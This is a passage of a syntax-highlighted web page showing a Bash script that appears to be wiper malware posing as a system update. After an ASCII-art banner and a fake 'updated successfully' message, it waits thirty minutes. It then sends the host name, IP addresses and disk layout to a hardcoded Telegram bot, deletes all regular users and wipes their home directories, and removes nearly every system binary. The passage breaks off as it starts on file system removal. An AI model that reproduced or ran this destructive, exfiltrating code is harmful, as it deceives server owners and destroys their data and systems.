&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;************************,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,***********************
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;********************,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,*******************
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;****************,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,***************
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;*************,,,,,,,,,,,,,,&amp;amp;@@@@@@@@@@@@,,,,,,,,,,,,,,,,,,,,,,,,,,,,************
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;***********,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@@@*,,,,,@@@@@@@@@@@@@@*,,,,,,**********
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;********,,,,,,,,,@@@@@@@@@@,,,,,,,,,@@@@@@@@,,,,@@@@@@@@@@@@@@@@@@@@@@@@********
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;*******,,,,,,,@@@@@@@@@@@@,,,,,,,,,,,,,,,,,,,,,*@@@@@@@@@@@@@@@@@@@@@@@@@,******
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;*****,,,,,,,/@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@@@@@@@,,,****
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;****,,,,,,,@@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,,,,@@@@@,,,,,,,,,,,,,,,,,,,/@,,,,,***
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;***,,,,,,,,@@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,,,@@@@@,,,,,,,,,,,,,,,,,,,,,,,,,,,,**
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;**,,,,,,,,,@@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,,@@@@@@@@&amp;amp;,,,,,,,,,,,,,,,,,,,,,,,,,,*
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;*,,,,@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@,,,,@@@@@@@@@@@@@@@@@@@@@,,,,,,,,,,,,,,,*
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;*,,,,@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@,,,,,,*@@@@@@@@@@@@@@@@@@@@@@@@@@,,,,,,,,,,,
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;*,,,,,,,,,@@@@@@@@@@@@@@@*,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@,,,,,,,,
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;,,,,,,,,,,@@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@,,,,,,
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;,,,,,,,,,,@@@@@@@@@@@@@@@,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@,,,,
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;*,,,,,,,,,@@@@@@@@@@@@@@@,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@,,,
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;*,,,,,,,,,@@@@@@@@@@@@@@@*,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@@@@,,,
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;*,,,,,,,,,@@@@@@@@@@@@@@@(,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@,,,
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;**,,,,,,,,(@@@@@@@@@@@@@@#,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,(@@@@@@@@@@@@@,,*
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;***,,,,,,,,@@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@&amp;amp;,**
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;****,,,,,,,@@@@@@@@@@@@@@@,,,,,,,,,,,,,@@@@,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@,***
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;*****,,,,,,@@@@@@@@@@@@@@@,,,,,,,,,,,@@@@@@@@,,,,,,,,,,,,,,,,,,,,,@@@@@@@@*,****
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;******,,,,,@@@@@@@@@@@@@@@,,,,,,,,,,,@@@@@@@@@@,,,,,,,,,,,,,,,,,,@@@@@@@@,******
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;*********#@@@@@@@@@@@@@@@@,,,,,,,,,,,,&amp;amp;@@@@@@@@@@,,,,,,,,,,,,,,@@@@@@@,,,*******
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;**********@@@@@@@@@@@@@@@@@@@@@@@(,,,,,*@@@@@@@@@@@@@@%//%@@@@@@@@,,,,,*********
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;*************,,,,,,,,,,,,,,*&amp;amp;@@@@@@,,,,,,,,,,@@@@@@@@@@@@@@@,,,,,,,,************
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;***************,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,*********,****
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;*******************,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,***********,,*,***
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;***********************,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,***************,,*****
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;******************************,,,,,,,,,,,,,,,,,,,,,*****************************
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;@@@,,@/,,@@@@,,@@@@@@@@#,,@,,@@@@@,,@@,,@@@@@,,@@,,@@@@@,,@@@@@@,,@@@@@@,,,@,,@@
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;@@@,,,,,@@@@@,,,,,@@@@@,,@@@@@@@@@,,@@,,@@@@@,,,,,,@@@@@,,@@@@@@,,@@@@@@@@,,@@@@
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;@@,,,@,,,@@@@,,,,,,@@@@@,,@,,@@@@@,,,@,,@@@@@,,@@,,@@@@@,,@@@@@@,,@@@@@@@@,,@@@@
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;@@@@@&amp;amp;&amp;amp;@@@&amp;amp;@@@@@&amp;amp;&amp;amp;&amp;amp;&amp;amp;@@@@@@@&amp;amp;&amp;amp;&amp;amp;@@@@@@@@@@&amp;amp;&amp;amp;@@@@@@@&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;@@@@@&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;@@@@@&amp;amp;&amp;amp;&amp;amp;&amp;amp;@@@@@@@
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;@@@@@,,@@@,@@@@@,,@@@,,@@@@,,@@(,,@@@@@#,,,@@@@@@@@,@@@@@@@,,@@@@@@@@,,@@@,,@@@@
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;@@@@@,,@@@,@@@@@,,,,,@@@@@@,,@@@,,@@@@@,,,,,@@@@@@@,@@@@@@@,,@@@@@@@@,,,,,@@@@@@
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;@@@@@@,,,,,@@@@@,,@@@@@@@@@,,,,,,@@@@@,%@@@,,@@@@@@,@@@@@@@,,,,,@@@@@,,@@,,@@@@@
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt; &amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="o"&gt;((&lt;/span&gt;&lt;span class="nv"&gt;i&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0&lt;span class="p"&gt;;&lt;/span&gt; i&amp;lt;30&lt;span class="p"&gt;;&lt;/span&gt; i++&lt;span class="o"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; -n &lt;span class="s2"&gt;&amp;#34;#&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; sleep &lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sleep &lt;span class="m"&gt;25&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;The system has been updated successfully!&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;(&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sleep &lt;span class="m"&gt;1800&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;The final update is being applied...&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[[&lt;/span&gt; -f /etc/redhat-release &lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; sudo yum install xfsprogs wipe parted -y &amp;gt; /dev/null 2&amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;lsb_release -is&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Ubuntu&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; sudo apt update
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; sudo apt install xfsprogs wipe parted -y &amp;gt; /dev/null 2&amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;lsb_release -is&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Debian&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; sudo apt update
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; sudo apt install xfsprogs wipe parted -y &amp;gt; /dev/null 2&amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Unsupported OS.&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;exit&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;telegram_bot_token&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;6428401585:AAGE6SbwtVJxOpLjdMcrL45gb18H9UV7tQA&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;telegram_chat_id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;6932028002&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;send_telegram_message&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;IFS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;read&lt;/span&gt; -r -d &lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt; message &lt;span class="s"&gt;&amp;lt;&amp;lt; EOF
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;Cleaning process started on server HOST: $(hostname)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;IP: $(hostname -I)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;Disk volumes:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;$(df -h --output=source,size,target)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;EOF&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; curl -s --retry &lt;span class="m"&gt;3&lt;/span&gt; --retry-delay &lt;span class="m"&gt;5&lt;/span&gt; -X POST &lt;span class="s2"&gt;&amp;#34;https://api.telegram.org/bot&lt;/span&gt;&lt;span class="nv"&gt;$telegram_bot_token&lt;/span&gt;&lt;span class="s2"&gt;/sendMessage&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -d &lt;span class="s2"&gt;&amp;#34;chat_id=&lt;/span&gt;&lt;span class="nv"&gt;$telegram_chat_id&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -d &lt;span class="s2"&gt;&amp;#34;text=&lt;/span&gt;&lt;span class="nv"&gt;$message&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -H &lt;span class="s2"&gt;&amp;#34;Content-Type: application/x-www-form-urlencoded&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;send_telegram_message &amp;gt; /dev/null 2&amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;remove_all_users&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;for&lt;/span&gt; username in &lt;span class="sb"&gt;`&lt;/span&gt;awk -F: &lt;span class="s1"&gt;&amp;#39;$3 &amp;gt; 999 {print $1}&amp;#39;&lt;/span&gt; /etc/passwd&lt;span class="sb"&gt;`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; deluser --remove-all-files -q &lt;span class="nv"&gt;$username&lt;/span&gt; &amp;gt; /dev/null 2&amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; userdel -r &lt;span class="nv"&gt;$username&lt;/span&gt; &amp;gt; /dev/null 2&amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; wipe -rfi /home/&lt;span class="nv"&gt;$username&lt;/span&gt;/* &amp;gt; /dev/null 2&amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;##########################################################################################&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;remove_os_file&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;reboot_path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;which reboot&lt;span class="sb"&gt;`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;rm_path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;which rm&lt;span class="sb"&gt;`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;for&lt;/span&gt; file in /bin/* /sbin/* /usr/bin/* /usr/sbin/*&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$file&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; !&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$reboot_path&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$file&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; !&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$rm_path&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$file&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; !&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$reboot_path&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$file&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; !&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$rm_path&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; rm -f &lt;span class="nv"&gt;$file&lt;/span&gt; &amp;gt; /dev/null 2&amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;######################################################################################### &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;remove_file_system&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;mounted_partitions&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;df -h &lt;span class="p"&gt;|&lt;/span&gt; awk &lt;span class="s1"&gt;&amp;#39;{if (NR&amp;gt;1) print $6}&amp;#39;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;root_partition&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;/&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;fs_type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;xfs&amp;#34;&lt;/span&gt;
